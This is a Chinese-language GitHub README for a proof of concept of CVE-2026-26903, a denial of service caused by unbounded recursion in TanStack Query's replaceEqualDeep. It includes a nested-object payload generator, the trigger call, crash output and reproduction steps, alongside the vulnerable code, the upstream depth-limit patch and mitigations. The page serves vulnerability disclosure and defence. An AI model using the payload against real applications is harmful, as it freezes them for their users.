John-Jung/CVE-2026-26903-PoC

GitHub: John-Jung/CVE-2026-26903-PoC

该仓库提供了一个针对 TanStack Query 的 replaceEqualDeep 函数无限递归漏洞的概念验证,用于演示如何通过深度嵌套对象触发 JavaScript 线程冻结拒绝服务攻击。

Stars: 0 | Forks: 0

# CVE-2026-26903 PoC **通过 TanStack Query 的 `replaceEqualDeep` 函数中的无限递归实现拒绝服务** 一次包含深度嵌套对象的特制查询更新就能**无限期冻结 JavaScript 线程**,导致应用程序完全失去响应。此攻击不需要任何身份验证或特殊权限。 ## 受影响版本 该漏洞已于 2026 年 1 月 14 日通过 PR [#10032](https://github.com/TanStack/query/pull/10032) 在 `@tanstack/query-core@5.90.17` 中修复。 | 软件包 | 受影响版本 | 修复版本 | |---------|----------|-------| | @tanstack/query-core | <= 5.90.16 | **5.90.17** | | @tanstack/react-query | 依赖于存在漏洞的 query-core | **5.90.18+** | | @tanstack/vue-query | 依赖于存在漏洞的 query-core | **5.90.18+** | | @tanstack/solid-query | 依赖于存在漏洞的 query-core | **5.90.18+** | | @tanstack/svelte-query | 依赖于存在漏洞的 query-core | **6.1.7+** | ### 官方描述 ## 漏洞概述 TanStack Query 的 `replaceEqualDeep` 函数在内部用于确定查询数据是否实际发生了更改,通过在可能的情况下保留对象引用来优化重新渲染。该函数递归遍历对象属性以执行深度相等比较。 ### 问题所在 该递归实现缺乏深度限制或循环检测: ``` function replaceEqualDeep(a, b) { // ... type checks ... for (let i = 0; i < bSize; i++) { const key = array ? i : bItems[i]; // ... shallow equality checks ... // VULNERABLE: Unbounded recursion here const v = replaceEqualDeep(a[key], b[key]); copy[key] = v; // ... } return copy; } ``` ### 攻击机制 1. **触发**:任何通过 `replaceEqualDeep` 且包含深度嵌套数据的查询更新 2. **载荷**:嵌套深度超过 5,000 层的对象 3. **影响**:立即冻结 JavaScript 线程,导致 UI 完全失去响应 4. **持续性**:应用程序将保持冻结状态,直到重新加载页面 ### 攻击面 - **直接攻击**:带有嵌套响应数据的 `useQuery` 钩子 - **间接攻击**:`setQueryData`、`invalidateQueries` 或任何查询缓存操作 - **客户端**:无需服务器参与 — 纯粹的客户端 DoS 攻击 ## 仓库结构 ``` CVE-2026-26903-PoC/ ├── README.md # This file ├── LICENSE ├── poc.js # Node.js PoC (stack overflow crash) └── tanstack-query-poc.html # Browser PoC (interactive visual demo) ``` ## 复现步骤 ### 1. 克隆并设置 ``` git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git cd CVE-2026-26903-PoC ``` ### 2. 运行 Node.js PoC(栈溢出崩溃) ``` node poc.js ``` ### 3. 预期输出 ``` Testing replaceEqualDeep with deep nesting... Depth: 100 OK - 0ms Depth: 1000 OK - 1ms Depth: 5000 CRASH - Maximum call stack size exceeded Depth: 10000 CRASH - Maximum call stack size exceeded ``` ### 4. 运行浏览器 PoC(交互式可视化演示) ``` open tanstack-query-poc.html ``` 1. **验证应用响应性**: - 点击计数器按钮 - 在输入框中输入内容 - 观察实时计时器的计数 2. **触发 DoS**: - 点击 **"TRIGGER DoS (10000 depth) - App Will Freeze"** - **结果**:计时器停止,按钮失去响应,页面冻结 ### 详细测试 **选项 A:独立 HTML 演示**(无依赖) ``` git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git cd CVE-2026-26903-PoC open tanstack-query-poc.html ``` **选项 B:React 应用**(真实场景) ``` cd examples/react-app-poc npm install npm start # 导航至 http://localhost:3000 并按照屏幕上的说明进行操作 ``` ### 预期行为 #### 攻击前: - 计数器按钮递增 - 实时计时器每秒更新 - 输入框响应输入 - 所有 UI 交互正常工作 #### 攻击后: - 计时器冻结在当前值 - 计数器按钮停止响应 - 输入框变得无响应 - 控制台不显示任何错误(线程被阻塞,而非崩溃) - **唯一解决办法**:重新加载浏览器标签页或窗口 ## 漏洞利用原理 该 PoC 生成深度嵌套对象并触发 `replaceEqualDeep` 对其进行处理: ### 1. 载荷生成 ``` function generateDeep(depth) { let obj = { value: 'end' }; for (let i = 0; i < depth; i++) { obj = { nested: obj }; } return obj; } // Creates: { nested: { nested: { nested: ... { value: 'end' } } } } ``` ### 2. 攻击触发 ``` const oldData = generateDeep(10000); // 10,000 levels deep const newData = generateDeep(10000); // Different object, same structure // This causes unbounded recursion: replaceEqualDeep(oldData, newData); ``` ### 3. 递归链 ``` replaceEqualDeep(obj1, obj2) ├── replaceEqualDeep(obj1.nested, obj2.nested) // Level 1 ├── replaceEqualDeep(obj1.nested.nested, ...) // Level 2 ├── replaceEqualDeep(...) // Level 3 └── ... (continues for 10,000 levels) ``` 每次递归调用都会增加一个新的栈帧,直到 JavaScript 引擎的调用栈被耗尽,从而冻结线程。 ## 存在漏洞的代码 **位置**:`@tanstack/query-core/src/utils.ts`(大约) ``` export function replaceEqualDeep(a, b) { if (a === b) { return a; } const array = isPlainArray(a) && isPlainArray(b); if (!array && !(isPlainObject(a) && isPlainObject(b))) { return b; } const aItems = array ? a : Object.keys(a); const aSize = aItems.length; const bItems = array ? b : Object.keys(b); const bSize = bItems.length; const copy = array ? new Array(bSize) : {}; let equalItems = 0; for (let i = 0; i < bSize; i++) { const key = array ? i : bItems[i]; if (a[key] === b[key]) { copy[key] = a[key]; equalItems++; continue; } if ( a[key] === null || b[key] === null || typeof a[key] !== 'object' || typeof b[key] !== 'object' ) { copy[key] = b[key]; continue; } // VULNERABLE: No depth limit or cycle detection const v = replaceEqualDeep(a[key], b[key]); copy[key] = v; if (v === a[key]) { equalItems++; } } return aSize === bSize && equalItems === aSize ? a : copy; } ``` ## 补丁 该修复(在 [TanStack Query 提交 269351b](https://github.com/TanStack/query/commit/269351b8ce4b4846da3d320ac5b850ee6aada0d6) 中应用)增加了深度限制以防止无限递归: ``` - export function replaceEqualDeep(a: unknown, b: T): T - export function replaceEqualDeep(a: any, b: any): any { + export function replaceEqualDeep(a: unknown, b: T, depth?: number): T + export function replaceEqualDeep(a: any, b: any, depth = 0): any { if (a === b) { return a } + if (depth > 500) return b + const array = isPlainArray(a) && isPlainArray(b) if (!array && !(isPlainObject(a) && isPlainObject(b))) return b // ... middle section unchanged ... - const v = replaceEqualDeep(aItem, bItem) + const v = replaceEqualDeep(aItem, bItem, depth + 1) copy[key] = v if (v === aItem) equalItems++ ``` **主要更改:** 1. **添加了 `depth` 参数**,默认值为 `0`,用于跟踪递归深度 2. **添加了深度限制检查** — 如果 `depth > 500`,立即返回 `b` 3. **在递归调用中递增 depth** — `replaceEqualDeep(aItem, bItem, depth + 1)` 这个简单的修复既防止了栈溢出,又允许合理的嵌套(500 层的深度对于现实世界中的数据结构来说已经绰绰有余)。 ## 缓解措施 ### 临时解决方法 1. 在将深度嵌套的数据传递给 TanStack Query 之前将其**扁平化** 2. **实现具有深度限制的自定义比较函数** 3. 在开发环境中**监控查询数据的复杂性** ### 彻底修复 在 `replaceEqualDeep` 中实现深度限制: ``` function replaceEqualDeep(a, b, depth = 0) { if (depth > MAX_DEPTH) return b; // Prevent deep recursion if (a === b) return a; // ... existing logic ... const v = replaceEqualDeep(a[key], b[key], depth + 1); // ... rest of function } ``` 或者使用迭代遍历代替递归。 ## 参考 - [GitHub 安全公告](https://github.com/TanStack/query/commit/269351b8ce4b4846da3d320ac5b850ee6aada0d6) ## 免责声明 本概念验证仅用于**教育和授权安全测试目的**。请负责任地使用,并且仅在您拥有或已获得明确测试许可的应用程序上使用。作者对任何滥用此信息的行为不承担责任。
标签:CMS安全, CVE-2026-26903, DoS, JavaScript, Maven, MITM代理, PoC, React Query, TanStack Query, UI无响应, Vue Query, 代码执行, 前端安全, 后端开发, 多模态安全, 开放策略代理, 拒绝服务, 数据可视化, 无界递归, 暴力破解, 深度嵌套对象, 漏洞验证, 状态管理, 线程冻结, 网络安全, 配置错误, 隐私保护